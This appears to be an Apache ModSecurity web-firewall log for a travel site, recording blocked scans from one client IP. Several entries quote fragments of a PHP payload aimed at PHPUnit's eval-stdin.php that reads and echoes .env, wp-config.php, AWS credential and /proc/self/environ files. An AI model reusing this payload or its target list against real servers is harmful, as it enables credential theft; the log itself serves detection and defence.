[Fri Jul 17 08:55:18.921672 2026] [security2:error] [pid 2030774:tid 2030774] [client 103.168.66.101:0] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "1055"] [id "920440"] [msg "URL file extension is restricted by policy"] [data ".swp"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/210/272"] [tag "PCI/6.5.10"] [hostname "2s-travels.com"] [uri "/config.inc.php.swp"] [unique_id "almgnhHlOGcokz2QIwTTEQAAAAM"]
[Fri Jul 17 08:55:18.922400 2026] [security2:error] [pid 2030774:tid 2030774] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "2s-travels.com"] [uri "/config.inc.php.swp"] [unique_id "almgnhHlOGcokz2QIwTTEQAAAAM"]
[Fri Jul 17 08:55:18.922565 2026] [hostinglimits:warn] [pid 2030774:tid 2030774] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2030774) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:18.922769 2026] [security2:error] [pid 2030774:tid 2030774] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "2s-travels.com"] [uri "/index.php"] [unique_id "almgnhHlOGcokz2QIwTTEQAAAAM"]
[Fri Jul 17 08:55:18.923967 2026] [hostinglimits:warn] [pid 2014256:tid 2014256] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2014256) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:18.927363 2026] [security2:error] [pid 2029573:tid 2029573] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?i)(?:\\\\x5c|(?:%(?:c(?:0%(?:[2aq]f|5c|9v)|1%(?:[19p]c|8s|af))|2(?:5(?:c(?:0%25af|1%259c)|2f|5c)|%46|f)|(?:(?:f(?:8%8)?0%8|e)0%80%a|bg%q)f|%3(?:2(?:%(?:%6|4)6|F)|5%%63)|u(?:221[56]|002f|EFC8|F025)|1u|5c)|0x(?:2f|5c)|\\\\/))(?:%(?:(?:f(?:(?:c%80|8)%8)?0%8 ..." at ARGS:<?php echo 'AHMADSCAN_PHPUNIT_cf888575';$fs. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "48"] [id "930100"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /../ found within ARGS:<?php echo 'AHMADSCAN_PHPUNIT_cf888575';$fs: array('.env','../.env','../../.env','../../../.env','.env.local','.env.production','../.env.local','../.env.production','../../.env.production','wp-config.php','../wp-config.php','../../wp-config.php','config/app.php','config/database.php','../config/database.php','application/database.php','../application/database.php','../application/config.php','../application/extra/database.php','app/etc/env.php','sites/default/settings..."] [hostname "2s-travels.com"] [uri "/www/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php"] [unique_id "almgnobYoYGvYnmnM82CJgAAAAs"]
[Fri Jul 17 08:55:18.928198 2026] [security2:error] [pid 2029573:tid 2029573] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at ARGS:<?php echo 'AHMADSCAN_PHPUNIT_cf888575';$fs. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /../ found within ARGS:<?php echo 'AHMADSCAN_PHPUNIT_cf888575';$fs: array('.env','../.env','../../.env','../../../.env','.env.local','.env.production','../.env.local','../.env.production','../../.env.production','wp-config.php','../wp-config.php','../../wp-config.php','config/app.php','config/database.php','../config/database.php','application/database.php','../application/database.php','../application/config.php','../application/extra/database.php','app/etc/env.php','sites/default/settings..."] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/www/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php"] [unique_id "almgnobYoYGvYnmnM82CJgAAAAs"]
[Fri Jul 17 08:55:18.928712 2026] [security2:error] [pid 2029573:tid 2029573] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at ARGS:<?php echo 'AHMADSCAN_PHPUNIT_cf888575';$fs. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /../ found within ARGS:<?php echo 'AHMADSCAN_PHPUNIT_cf888575';$fs: array(.env ../.env ../../.env ../../../.env .env.local .env.production ../.env.local ../.env.production ../../.env.production wp-config.php ../wp-config.php ../../wp-config.php config/app.php config/database.php ../config/database.php application/database.php ../application/database.php ../application/config.php ../application/extra/database.php app/etc/env.php sites/default/settings.php configuration.php ../.aws/credential..."] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/www/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php"] [unique_id "almgnobYoYGvYnmnM82CJgAAAAs"]
[Fri Jul 17 08:55:18.929338 2026] [security2:error] [pid 2029573:tid 2029573] [client 103.168.66.101:0] ModSecurity: Warning. Matched phrase "wp-config.php" at ARGS:<?php echo 'AHMADSCAN_PHPUNIT_cf888575';$fs. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "98"] [id "930120"] [msg "OS File Access Attempt"] [data "Matched Data: wp-config.php found within ARGS:<?php echo 'AHMADSCAN_PHPUNIT_cf888575';$fs: .env','../../.env','../../../.env','.env.local','.env.production','../.env.local','../.env.production','../../.env.production','wp-config.php','../wp-config.php','../../wp-config.php','config/app.php','config/config/database.php','application/application/application/application/extra/database.php','app/etc/env.php','sites/default/.aws/credentials','/var/www/html/.env','/var/www/html/.env.local','/var/www/html/.env...."] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "2s-travels.com"] [uri "/www/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php"] [unique_id "almgnobYoYGvYnmnM82CJgAAAAs"]
[Fri Jul 17 08:55:18.929525 2026] [hostinglimits:warn] [pid 2018770:tid 2018770] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2018770) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:18.930702 2026] [security2:error] [pid 2029573:tid 2029573] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:;|\\\\{|\\\\||\\\\|\\\\||&|&&|\\\\n|\\\\r|\\\\$\\\\(|\\\\$\\\\(\\\\(|`|\\\\${|<\\\\(|>\\\\(|\\\\(\\\\s*\\\\))\\\\s*(?:{|\\\\s*\\\\(\\\\s*|\\\\w+=(?:[^\\\\s]*|\\\\$.*|\\\\$.*|<.*|>.*|\\\\'.*\\\\'|\\".*\\")\\\\s+|!\\\\s*|\\\\$)*\\\\s*(?:'|\\")*(?:[\\\\?\\\\*\\\\[\\\\]\\\\(\\\\)\\\\-\\\\|+\\\\w'\\"\\\\./\\\\\\\\]+/)?[\\\\\\\\'\\"]*(?:l[\\\\\\\\'\\"]* ..." at ARGS_NAMES:strlen($c)>8){echo "\\\\n--- FILE $f ---\\\\n";if(strpos($f,'environ')!. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-932-APPLICATION-ATTACK-RCE.conf"] [line "123"] [id "932100"] [msg "Remote Command Execution: Unix Command Injection"] [data "Matched Data: {echo \\x22\\x5cn--- FILE $f ---\\x5cn\\x22;if(strpos($f,'environ found within ARGS_NAMES:strlen($c)>8){echo \\x22\\x5c\\x5cn--- FILE $f ---\\x5c\\x5cn\\x22;if(strpos($f,'environ')!: strlen($c)>8){echo \\x22\\x5cn--- FILE $f ---\\x5cn\\x22;if(strpos($f,'environ')!"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-shell"] [tag "platform-unix"] [tag "attack-rce"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/ [hostname "2s-travels.com"] [uri "/www/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php"] [unique_id "almgnobYoYGvYnmnM82CJgAAAAs"]
[Fri Jul 17 08:55:18.931095 2026] [security2:error] [pid 2029573:tid 2029573] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:;|\\\\{|\\\\||\\\\|\\\\||&|&&|\\\\n|\\\\r|\\\\$\\\\(|\\\\$\\\\(\\\\(|`|\\\\${|<\\\\(|>\\\\(|\\\\(\\\\s*\\\\))\\\\s*(?:{|\\\\s*\\\\(\\\\s*|\\\\w+=(?:[^\\\\s]*|\\\\$.*|\\\\$.*|<.*|>.*|\\\\'.*\\\\'|\\".*\\")\\\\s+|!\\\\s*|\\\\$)*\\\\s*(?:'|\\")*(?:[\\\\?\\\\*\\\\[\\\\]\\\\(\\\\)\\\\-\\\\|+\\\\w'\\"\\\\./\\\\\\\\]+/)?[\\\\\\\\'\\"]*(?:l[\\\\\\\\'\\"]* ..." at ARGS:<?php echo 'AHMADSCAN_PHPUNIT_cf888575';$fs. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-932-APPLICATION-ATTACK-RCE.conf"] [line "123"] [id "932100"] [msg "Remote Command Execution: Unix Command Injection"] [data "Matched Data: ;foreach found within ARGS:<?php echo 'AHMADSCAN_PHPUNIT_cf888575';$fs: array('.env','../.env','../../.env','../../../.env','.env.local','.env.production','../.env.local','../.env.production','../../.env.production','wp-config.php','../wp-config.php','../../wp-config.php','config/app.php','config/database.php','../config/database.php','application/database.php','../application/database.php','../application/config.php','../application/extra/database.php','app/etc/env.php','si [hostname "2s-travels.com"] [uri "/www/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php"] [unique_id "almgnobYoYGvYnmnM82CJgAAAAs"]
[Fri Jul 17 08:55:18.931204 2026] [security2:error] [pid 2029573:tid 2029573] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:;|\\\\{|\\\\||\\\\|\\\\||&|&&|\\\\n|\\\\r|\\\\$\\\\(|\\\\$\\\\(\\\\(|`|\\\\${|<\\\\(|>\\\\(|\\\\(\\\\s*\\\\))\\\\s*(?:{|\\\\s*\\\\(\\\\s*|\\\\w+=(?:[^\\\\s]*|\\\\$.*|\\\\$.*|<.*|>.*|\\\\'.*\\\\'|\\".*\\")\\\\s+|!\\\\s*|\\\\$)*\\\\s*(?:'|\\")*(?:[\\\\?\\\\*\\\\[\\\\]\\\\(\\\\)\\\\-\\\\|+\\\\w'\\"\\\\./\\\\\\\\]+/)?[\\\\\\\\'\\"]*(?:l[\\\\\\\\'\\"]* ..." at ARGS:strlen($c)>8){echo "\\\\n--- FILE $f ---\\\\n";if(strpos($f,'environ')!. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-932-APPLICATION-ATTACK-RCE.conf"] [line "123"] [id "932100"] [msg "Remote Command Execution: Unix Command Injection"] [data "Matched Data: ;echo $c found within ARGS:strlen($c)>8){echo \\x22\\x5c\\x5cn--- FILE $f ---\\x5c\\x5cn\\x22;if(strpos($f,'environ')!: =false)$c=str_replace(\\x22\\x5c0\\x22,\\x22\\x5cn\\x22,$c);echo $c;}}?>"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-shell"] [tag "platform-unix"] [tag "attack-rce"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/152/248/88"] [tag "PCI/6.5.2"] [hostname "2s-travels.com"] [uri "/www/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php"] [unique_id "almgnobYoYGvYnmnM82CJgAAAAs"]
[Fri Jul 17 08:55:18.931352 2026] [security2:error] [pid 2029573:tid 2029573] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?i)(?:;|\\\\{|\\\\||\\\\|\\\\||&|&&|\\\\n|\\\\r|`)\\\\s*[\\\\(,@\\\\'\\"\\\\s]*(?:[\\\\w'\\"\\\\./]+/|[\\\\\\\\'\\"\\\\^]*\\\\w[\\\\\\\\'\\"\\\\^]*:.*\\\\\\\\|[\\\\^\\\\.\\\\w '\\"/\\\\\\\\]*\\\\\\\\)?[\\"\\\\^]*(?:m[\\"\\\\^]*(?:y[\\"\\\\^]*s[\\"\\\\^]*q[\\"\\\\^]*l(?:[\\"\\\\^]*(?:d[\\"\\\\^]*u[\\"\\\\^]*m[\\"\\\\^]*p(?:[\\"\\\\^]*s[\\"\\\\^ ..." at ARGS_NAMES:strlen($c)>8){echo "\\\\n--- FILE $f ---\\\\n";if(strpos($f,'environ')!. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-932-APPLICATION-ATTACK-RCE.conf"] [line "256"] [id "932110"] [msg "Remote Command Execution: Windows Command Injection"] [data "Matched Data: {echo found within ARGS_NAMES:strlen($c)>8){echo \\x22\\x5c\\x5cn--- FILE $f ---\\x5c\\x5cn\\x22;if(strpos($f,'environ')!: strlen($c)>8){echo \\x22\\x5cn--- FILE $f ---\\x5cn\\x22;if(strpos($f,'environ')!"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-shell"] [tag "platform-windows"] [tag "attack-rce"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/152/248/88"] [tag "PCI/6.5.2"] [hostname "2s-travels.com"] [uri "/www/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php"] [unique_id "almgnobYoYGvYnmnM82CJgAAAAs"]
[Fri Jul 17 08:55:18.931708 2026] [security2:error] [pid 2029573:tid 2029573] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?i)(?:;|\\\\{|\\\\||\\\\|\\\\||&|&&|\\\\n|\\\\r|`)\\\\s*[\\\\(,@\\\\'\\"\\\\s]*(?:[\\\\w'\\"\\\\./]+/|[\\\\\\\\'\\"\\\\^]*\\\\w[\\\\\\\\'\\"\\\\^]*:.*\\\\\\\\|[\\\\^\\\\.\\\\w '\\"/\\\\\\\\]*\\\\\\\\)?[\\"\\\\^]*(?:m[\\"\\\\^]*(?:y[\\"\\\\^]*s[\\"\\\\^]*q[\\"\\\\^]*l(?:[\\"\\\\^]*(?:d[\\"\\\\^]*u[\\"\\\\^]*m[\\"\\\\^]*p(?:[\\"\\\\^]*s[\\"\\\\^ ..." at ARGS:<?php echo 'AHMADSCAN_PHPUNIT_cf888575';$fs. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-932-APPLICATION-ATTACK-RCE.conf"] [line "256"] [id "932110"] [msg "Remote Command Execution: Windows Command Injection"] [data "Matched Data: ;foreach found within ARGS:<?php echo 'AHMADSCAN_PHPUNIT_cf888575';$fs: array('.env','../.env','../../.env','../../../.env','.env.local','.env.production','../.env.local','../.env.production','../../.env.production','wp-config.php','../wp-config.php','../../wp-config.php','config/app.php','config/database.php','../config/database.php','application/database.php','../application/database.php','../application/config.php','../application/extra/database.php','app/etc/env.php', [hostname "2s-travels.com"] [uri "/www/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php"] [unique_id "almgnobYoYGvYnmnM82CJgAAAAs"]
[Fri Jul 17 08:55:18.931805 2026] [security2:error] [pid 2029573:tid 2029573] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?i)(?:;|\\\\{|\\\\||\\\\|\\\\||&|&&|\\\\n|\\\\r|`)\\\\s*[\\\\(,@\\\\'\\"\\\\s]*(?:[\\\\w'\\"\\\\./]+/|[\\\\\\\\'\\"\\\\^]*\\\\w[\\\\\\\\'\\"\\\\^]*:.*\\\\\\\\|[\\\\^\\\\.\\\\w '\\"/\\\\\\\\]*\\\\\\\\)?[\\"\\\\^]*(?:m[\\"\\\\^]*(?:y[\\"\\\\^]*s[\\"\\\\^]*q[\\"\\\\^]*l(?:[\\"\\\\^]*(?:d[\\"\\\\^]*u[\\"\\\\^]*m[\\"\\\\^]*p(?:[\\"\\\\^]*s[\\"\\\\^ ..." at ARGS:strlen($c)>8){echo "\\\\n--- FILE $f ---\\\\n";if(strpos($f,'environ')!. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-932-APPLICATION-ATTACK-RCE.conf"] [line "256"] [id "932110"] [msg "Remote Command Execution: Windows Command Injection"] [data "Matched Data: ;echo found within ARGS:strlen($c)>8){echo \\x22\\x5c\\x5cn--- FILE $f ---\\x5c\\x5cn\\x22;if(strpos($f,'environ')!: =false)$c=str_replace(\\x22\\x5c0\\x22,\\x22\\x5cn\\x22,$c);echo $c;}}?>"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-shell"] [tag "platform-windows"] [tag "attack-rce"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/152/248/88"] [tag "PCI/6.5.2"] [hostname "2s-travels.com"] [uri "/www/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php"] [unique_id "almgnobYoYGvYnmnM82CJgAAAAs"]
[Fri Jul 17 08:55:18.932686 2026] [security2:error] [pid 2013809:tid 2013809] [client 103.168.66.101:0] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "1055"] [id "920440"] [msg "URL file extension is restricted by policy"] [data ".backup"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/210/272"] [tag "PCI/6.5.10"] [hostname "2s-travels.com"] [uri "/config.inc.php.backup"] [unique_id "almgnkgVnBK6wAv37w6sQQAAABQ"]
[Fri Jul 17 08:55:18.933222 2026] [security2:error] [pid 2029573:tid 2029573] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "\\\\b(?:if(?:/i)?(?: not)?(?: exist\\\\b| defined\\\\b| errorlevel\\\\b| cmdextversion\\\\b|(?: |\\\\().*(?:\\\\bgeq\\\\b|\\\\bequ\\\\b|\\\\bneq\\\\b|\\\\bleq\\\\b|\\\\bgtr\\\\b|\\\\blss\\\\b|==))|for(?:/[dflr].*)? %+[^ ]+ in\\\\(.*\\\\)\\\\s?do)" at ARGS:<?php echo 'AHMADSCAN_PHPUNIT_cf888575';$fs. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-932-APPLICATION-ATTACK-RCE.conf"] [line "413"] [id "932140"] [msg "Remote Command Execution: Windows FOR/IF Command Found"] [data "Matched Data: if($c!== found within ARGS:<?php echo 'AHMADSCAN_PHPUNIT_cf888575';$fs: array(.env ../.env ../../.env ../../../.env .env.local .env.production ../.env.local ../.env.production ../../.env.production wp-config.php ../wp-config.php ../../wp-config.php config/app.php config/database.php ../config/database.php application/database.php ../application/database.php ../application/config.php ../application/extra/database.php app/etc/env.php sites/default/settings.php configuration.php ../.aws/creden..."] [severity "CRITICAL"] [v [hostname "2s-travels.com"] [uri "/www/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php"] [unique_id "almgnobYoYGvYnmnM82CJgAAAAs"]
[Fri Jul 17 08:55:18.933463 2026] [security2:error] [pid 2013809:tid 2013809] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "2s-travels.com"] [uri "/config.inc.php.backup"] [unique_id "almgnkgVnBK6wAv37w6sQQAAABQ"]
[Fri Jul 17 08:55:18.933636 2026] [hostinglimits:warn] [pid 2013809:tid 2013809] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2013809) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:18.933864 2026] [security2:error] [pid 2013809:tid 2013809] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "2s-travels.com"] [uri "/index.php"] [unique_id "almgnkgVnBK6wAv37w6sQQAAABQ"]
[Fri Jul 17 08:55:18.935781 2026] [security2:error] [pid 2029573:tid 2029573] [client 103.168.66.101:0] ModSecurity: Warning. Matched phrase "proc/self/" at ARGS:<?php echo 'AHMADSCAN_PHPUNIT_cf888575';$fs. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-932-APPLICATION-ATTACK-RCE.conf"] [line "501"] [id "932160"] [msg "Remote Command Execution: Unix Shell Code Found"] [data "Matched Data: proc/self/ found within ARGS:<?php echo 'AHMADSCAN_PHPUNIT_cf888575';$fs: .env ../../.env ../../../.env .env.local .env.production ../.env.local ../.env.production ../../.env.production wp-config.php ../wp-config.php ../../wp-config.php config/app.php config/config/database.php application/application/application/application/extra/database.php app/etc/env.php sites/default/.aws/credentials/var/www/html/.env/var/www/html/.env.local/var/www/html/.env.production/var/www/html/.env.backup/var/ww..."] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-shell"] [tag "platform-unix"] [tag "attack-rce"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/152/248/88"] [tag "PCI/6.5.2 [hostname "2s-travels.com"] [uri "/www/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php"] [unique_id "almgnobYoYGvYnmnM82CJgAAAAs"]
[Fri Jul 17 08:55:18.936004 2026] [security2:error] [pid 2029573:tid 2029573] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:<\\\\?(?:[^x]|x[^m]|xm[^l]|xml[^\\\\s]|xml$|$)|<\\\\?php|\\\\[(?:\\\\/|\\\\\\\\)?php\\\\])" at ARGS_NAMES:<?php echo 'AHMADSCAN_PHPUNIT_cf888575';$fs. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-933-APPLICATION-ATTACK-PHP.conf"] [line "66"] [id "933100"] [msg "PHP Injection Attack: PHP Open Tag Found"] [data "Matched Data: <?p found within ARGS_NAMES:<?php echo 'AHMADSCAN_PHPUNIT_cf888575';$fs: <?php echo 'ahmadscan_phpunit_cf888575';$fs"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-php"] [tag "platform-multi"] [tag "attack-injection-php"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/152/242"] [hostname "2s-travels.com"] [uri "/www/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php"] [unique_id "almgnobYoYGvYnmnM82CJgAAAAs"]
[Fri Jul 17 08:55:18.937574 2026] [hostinglimits:warn] [pid 1993671:tid 1993671] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(1993671) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:18.940138 2026] [security2:error] [pid 2029573:tid 2029573] [client 103.168.66.101:0] ModSecurity: Warning. Matched phrase "file_get_contents" at ARGS:<?php echo 'AHMADSCAN_PHPUNIT_cf888575';$fs. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-933-APPLICATION-ATTACK-PHP.conf"] [line "295"] [id "933150"] [msg "PHP Injection Attack: High-Risk PHP Function Name Found"] [data "Matched Data: file_get_contents found within ARGS:<?php echo 'AHMADSCAN_PHPUNIT_cf888575';$fs: array('.env','../.env','../../.env','../../../.env','.env.local','.env.production','../.env.local','../.env.production','../../.env.production','wp-config.php','../wp-config.php','../../wp-config.php','config/app.php','config/database.php','../config/database.php','application/database.php','../application/database.php','../application/config.php','../application/extra/database.php','app/etc/env.php','sites/def..."] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-php"] [tag "platform-multi"] [tag "attack-injection-php"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/152/ [hostname "2s-travels.com"] [uri "/www/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php"] [unique_id "almgnobYoYGvYnmnM82CJgAAAAs"]
[Fri Jul 17 08:55:18.949867 2026] [security2:error] [pid 2029573:tid 2029573] [client 103.168.66.101:0] ModSecurity: Rule 55dbd9162368 [id "941160"][file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-941-APPLICATION-ATTACK-XSS.conf"][line "200"] - Execution error - PCRE limits exceeded (-47): (null). [hostname "2s-travels.com"] [uri "/www/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php"] [unique_id "almgnobYoYGvYnmnM82CJgAAAAs"]
